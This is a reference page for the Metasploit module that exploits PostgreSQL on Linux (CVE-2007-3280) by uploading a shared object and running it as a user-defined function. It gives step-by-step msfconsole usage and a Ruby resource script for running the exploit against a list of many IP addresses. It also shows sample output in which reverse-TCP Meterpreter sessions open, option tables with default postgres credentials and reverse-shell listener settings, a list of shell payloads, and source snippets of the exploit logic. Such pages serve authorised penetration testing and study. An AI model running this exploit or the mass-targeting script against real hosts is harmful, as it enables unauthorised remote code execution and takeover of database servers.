PostgreSQL for Linux Payload Execution - Metasploit
This page contains detailed information about how to use the exploit/linux/postgres/postgres_payload metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: PostgreSQL for Linux Payload Execution
Module: exploit/linux/postgres/postgres_payload
Source code: modules/exploits/linux/postgres/postgres_payload.rb
Disclosure date: 2007-06-05
Last modification time: 2021-08-20 16:06:16 +0000
Supported architecture(s): -
Supported platform(s): Linux
Target service / protocol: postgres
Target network port(s): 5432
List of CVEs: CVE-2007-3280
On some default Linux installations of PostgreSQL, the postgres service account may write to the /tmp directory, and may source UDF Shared Libraries from there as well, allowing execution of arbitrary code. This module compiles a Linux shared object file, uploads it to the target host via the UPDATE pg_largeobject method of binary injection, and creates a UDF (user defined function) from that shared object. Because the payload is run as the shared object's constructor, it does not need to conform to specific Postgres API versions.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
Using postgres_payload against a single host
Normally, you can use exploit/linux/postgres/postgres_payload this way:
msf > use exploit/linux/postgres/postgres_payload
msf exploit(postgres_payload) > show targets
... a list of targets ...
msf exploit(postgres_payload) > set TARGET target-id
msf exploit(postgres_payload) > show options
... show and set options ...
msf exploit(postgres_payload) > exploit
Using postgres_payload against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your postgres_payload will be using:
- Do:
use exploit/multi/handler - Do:
set PAYLOAD [payload] - Set other options required by the payload
- Do:
set EXITONSESSION false - Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/linux/postgres/postgres_payload")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
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Msfconsole Usage
Here is how the linux/postgres/postgres_payload exploit module looks in the msfconsole:
msf6 > use exploit/linux/postgres/postgres_payload
[*] No payload configured, defaulting to linux/x86/meterpreter/reverse_tcp
msf6 exploit(linux/postgres/postgres_payload) > show info
Name: PostgreSQL for Linux Payload Execution
Module: exploit/linux/postgres/postgres_payload
Platform: Linux
Arch:
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2007-06-05
Provided by:
midnitesnake
egypt <[email protected]>
todb <[email protected]>
lucipher
Available targets:
Id Name
-- ----
0 Linux x86
1 Linux x86_64
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
DATABASE template1 yes The database to authenticate against
PASSWORD postgres no The password for the specified username. Leave blank for a random password.
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 5432 yes The target port
USERNAME postgres yes The username to authenticate as
VERBOSE false no Enable verbose output
Payload information:
Space: 65535
Description:
On some default Linux installations of PostgreSQL, the postgres
service account may write to the /tmp directory, and may source UDF
Shared Libraries from there as well, allowing execution of arbitrary
code. This module compiles a Linux shared object file, uploads it to
the target host via the UPDATE pg_largeobject method of binary
injection, and creates a UDF (user defined function) from that
shared object. Because the payload is run as the shared object's
constructor, it does not need to conform to specific Postgres API
versions.
References:
https://nvd.nist.gov/vuln/detail/CVE-2007-3280
http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt
Module Options
This is a complete list of options available in the linux/postgres/postgres_payload exploit:
msf6 exploit(linux/postgres/postgres_payload) > show options
Module options (exploit/linux/postgres/postgres_payload):
Name Current Setting Required Description
---- --------------- -------- -----------
DATABASE template1 yes The database to authenticate against
PASSWORD postgres no The password for the specified username. Leave blank for a random password.
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 5432 yes The target port
USERNAME postgres yes The username to authenticate as
VERBOSE false no Enable verbose output
Payload options (linux/x86/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Linux x86
Advanced Options
Here is a complete list of advanced options supported by the linux/postgres/postgres_payload exploit:
msf6 exploit(linux/postgres/postgres_payload) > show advanced
Module advanced options (exploit/linux/postgres/postgres_payload):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (linux/x86/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AppendExit false no Append a stub that executes the exit(0) system call
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
MeterpreterDebugLevel 0 yes Set debug level for meterpreter 0-3 (Default output is strerr)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
PrependChrootBreak false no Prepend a stub that will break out of a chroot (includes setreuid to root)
PrependFork false no Prepend a stub that starts the payload in its own process via fork
PrependSetgid false no Prepend a stub that executes the setgid(0) system call
PrependSetregid false no Prepend a stub that executes the setregid(0, 0) system call
PrependSetresgid false no Prepend a stub that executes the setresgid(0, 0, 0) system call
PrependSetresuid false no Prepend a stub that executes the setresuid(0, 0, 0) system call
PrependSetreuid false no Prepend a stub that executes the setreuid(0, 0) system call
PrependSetuid false no Prepend a stub that executes the setuid(0) system call
RemoteMeterpreterDebugFile no Redirect Debug Info to a Log File
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/postgres/postgres_payload module can exploit:
msf6 exploit(linux/postgres/postgres_payload) > show targets
Exploit targets:
Id Name
-- ----
0 Linux x86
1 Linux x86_64
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/postgres/postgres_payload exploit:
msf6 exploit(linux/postgres/postgres_payload) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/debug_trap normal No Generic x86 Debug Trap
2 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
3 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
4 payload/generic/tight_loop normal No Generic x86 Tight Loop
5 payload/linux/x86/chmod normal No Linux Chmod
6 payload/linux/x86/exec normal No Linux Execute Command
7 payload/linux/x86/meterpreter/bind_ipv6_tcp normal No Linux Mettle x86, Bind IPv6 TCP Stager (Linux x86)
8 payload/linux/x86/meterpreter/bind_ipv6_tcp_uuid normal No Linux Mettle x86, Bind IPv6 TCP Stager with UUID Support (Linux x86)
9 payload/linux/x86/meterpreter/bind_nonx_tcp normal No Linux Mettle x86, Bind TCP Stager
10 payload/linux/x86/meterpreter/bind_tcp normal No Linux Mettle x86, Bind TCP Stager (Linux x86)
11 payload/linux/x86/meterpreter/bind_tcp_uuid normal No Linux Mettle x86, Bind TCP Stager with UUID Support (Linux x86)
12 payload/linux/x86/meterpreter/reverse_ipv6_tcp normal No Linux Mettle x86, Reverse TCP Stager (IPv6)
13 payload/linux/x86/meterpreter/reverse_nonx_tcp normal No Linux Mettle x86, Reverse TCP Stager
14 payload/linux/x86/meterpreter/reverse_tcp normal No Linux Mettle x86, Reverse TCP Stager
15 payload/linux/x86/meterpreter/reverse_tcp_uuid normal No Linux Mettle x86, Reverse TCP Stager
16 payload/linux/x86/metsvc_bind_tcp normal No Linux Meterpreter Service, Bind TCP
17 payload/linux/x86/metsvc_reverse_tcp normal No Linux Meterpreter Service, Reverse TCP Inline
18 payload/linux/x86/read_file normal No Linux Read File
19 payload/linux/x86/shell/bind_ipv6_tcp normal No Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)
20 payload/linux/x86/shell/bind_ipv6_tcp_uuid normal No Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)
21 payload/linux/x86/shell/bind_nonx_tcp normal No Linux Command Shell, Bind TCP Stager
22 payload/linux/x86/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager (Linux x86)
23 payload/linux/x86/shell/bind_tcp_uuid normal No Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)
24 payload/linux/x86/shell/reverse_ipv6_tcp normal No Linux Command Shell, Reverse TCP Stager (IPv6)
25 payload/linux/x86/shell/reverse_nonx_tcp normal No Linux Command Shell, Reverse TCP Stager
26 payload/linux/x86/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
27 payload/linux/x86/shell/reverse_tcp_uuid normal No Linux Command Shell, Reverse TCP Stager
28 payload/linux/x86/shell_bind_ipv6_tcp normal No Linux Command Shell, Bind TCP Inline (IPv6)
29 payload/linux/x86/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
30 payload/linux/x86/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
31 payload/linux/x86/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
32 payload/linux/x86/shell_reverse_tcp_ipv6 normal No Linux Command Shell, Reverse TCP Inline (IPv6)
Evasion Options
Here is the full list of possible evasion options supported by the linux/postgres/postgres_payload exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/postgres/postgres_payload) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
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Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Authentication failed. <VALUE>
Here is a relevant code snippet related to the "Authentication failed. <VALUE>" error message:
77: version = postgres_fingerprint
78:
79: if version[:auth]
80: return CheckCode::Appears
81: else
82: print_error "Authentication failed. #{version[:preauth] || version[:unknown]}"
83: return CheckCode::Safe
84: end
85: end
86:
87: def exploit
Authentication failed
Here is a relevant code snippet related to the "Authentication failed" error message:
85: end
86:
87: def exploit
88: version = do_login(username,password,database)
89: case version
90: when :noauth; print_error "Authentication failed"; return
91: when :noconn; print_error "Connection failed"; return
92: else
93: print_status("#{rhost}:#{rport} - #{version}")
94: end
95:
Connection failed
Here is a relevant code snippet related to the "Connection failed" error message:
86:
87: def exploit
88: version = do_login(username,password,database)
89: case version
90: when :noauth; print_error "Authentication failed"; return
91: when :noconn; print_error "Connection failed"; return
92: else
93: print_status("#{rhost}:#{rport} - #{version}")
94: end
95:
96: fname = "/tmp/#{Rex::Text.rand_text_alpha(8)}.so"
Could not upload the UDF SO
Here is a relevant code snippet related to the "Could not upload the UDF SO" error message:
94: end
95:
96: fname = "/tmp/#{Rex::Text.rand_text_alpha(8)}.so"
97:
98: unless postgres_upload_binary_data(payload_so(fname), fname)
99: print_error "Could not upload the UDF SO"
100: return
101: end
102:
103: print_status "Uploaded as #{fname}, should be cleaned up automatically"
104: begin
Failed to create UDF function: <E.CLASS>: <E>
Here is a relevant code snippet related to the "Failed to create UDF function: <E.CLASS>: <E>" error message:
107: "create or replace function pg_temp.#{func_name}()"+
108: " returns void as '#{fname}','#{func_name}'"+
109: " language c strict immutable"
110: )
111: rescue RuntimeError => e
112: print_error "Failed to create UDF function: #{e.class}: #{e}"
113: end
114: postgres_logout if @postgres_conn
115:
116: end
117:
Login failed, fingerprint is <VALUE>
Here is a relevant code snippet related to the "Login failed, fingerprint is <VALUE>" error message:
134: :name => "postgres",
135: :info => result.values.first
136: )
137: return result[:auth]
138: else
139: print_error("Login failed, fingerprint is #{result[:preauth] || result[:unknown]}")
140: return :noauth
141: end
142: rescue Rex::ConnectionError, Rex::Post::Meterpreter::RequestError
143: return :noconn
144: end
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Related Pull Requests
- #14202 Merged Pull Request: Implement the zeitwerk autoloader within lib/msf/core
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #11794 Merged Pull Request: Postgres 8.2+ update to postgres_payload.rb module
- #10299 Merged Pull Request: Add 88 CVEs to various auxiliary and exploit modules
- #8888 Merged Pull Request: spelling/grammar fixes part 1
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #7507 Merged Pull Request: Refactor arch/platform, refactor TLV XOR, add UUID to each packet, fix payload uuid/arch/platform tracking, and update everything to match
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #2905 Merged Pull Request: Update Exploit Checks and a msftidy to go with it
- #2525 Merged Pull Request: Change module boilerplate
- #1202 Merged Pull Request: Make Windows postgres_payload more generic
- #928 Merged Pull Request: Midnitesnake postgres payload
References
See Also
Check also the following modules related to this module:
- auxiliary/admin/postgres/postgres_readfile
- auxiliary/admin/postgres/postgres_sql
- auxiliary/scanner/postgres/postgres_dbname_flag_injection
- auxiliary/scanner/postgres/postgres_hashdump
- auxiliary/scanner/postgres/postgres_login
- auxiliary/scanner/postgres/postgres_schemadump
- auxiliary/scanner/postgres/postgres_version
- auxiliary/server/capture/postgresql
- exploit/multi/postgres/postgres_copy_from_program_cmd_exec
- exploit/multi/postgres/postgres_createlang
- exploit/windows/postgres/postgres_payload
- exploit/multi/mysql/mysql_udf_payload
- exploit/multi/sap/sap_mgmt_con_osexec_payload
- exploit/windows/backdoor/energizer_duo_payload
- exploit/windows/mssql/mssql_clr_payload
- exploit/windows/mssql/mssql_payload
- exploit/windows/local/payload_inject
- exploit/windows/mssql/mssql_payload_sqli
Related Nessus plugins:
Authors
- midnitesnake
- egypt
- todb
- lucipher
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
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